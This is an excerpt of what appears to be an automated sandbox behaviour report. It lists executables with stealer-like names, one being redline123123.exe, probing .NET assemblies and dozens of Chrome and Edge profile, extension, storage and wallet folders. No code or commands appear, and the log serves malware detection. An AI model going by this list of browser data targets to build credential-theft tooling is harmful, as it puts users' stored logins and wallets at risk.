Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\multidict VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\attachments VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\d5610d20-4a84-40b4-96b3-9660f248e6a5 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ca VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\de VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\fi VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ro VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons Maskable VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons Monochrome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons Maskable VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\mpnpojknpmmopombnjdcgaaiekajbnjb\Icons Monochrome VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\FileTypePolicies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\FirstPartySetsPreloaded VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\OptimizationGuidePredictionModels VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\segmentation_platform VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\ShaderCache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\SSLErrorAssistant VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Autofill\4.0.0.8 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\af VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\am VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\hy VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\it VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\iw VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\lt VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\no VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ro VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sl VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\sr VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\_metadata VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SegmentInfoDB VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Segmentation Platform\SignalDB VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\js\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Code Cache\wasm\index-dir VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ar VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\de VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\en-GB VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\sv VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ar VolumeInformation
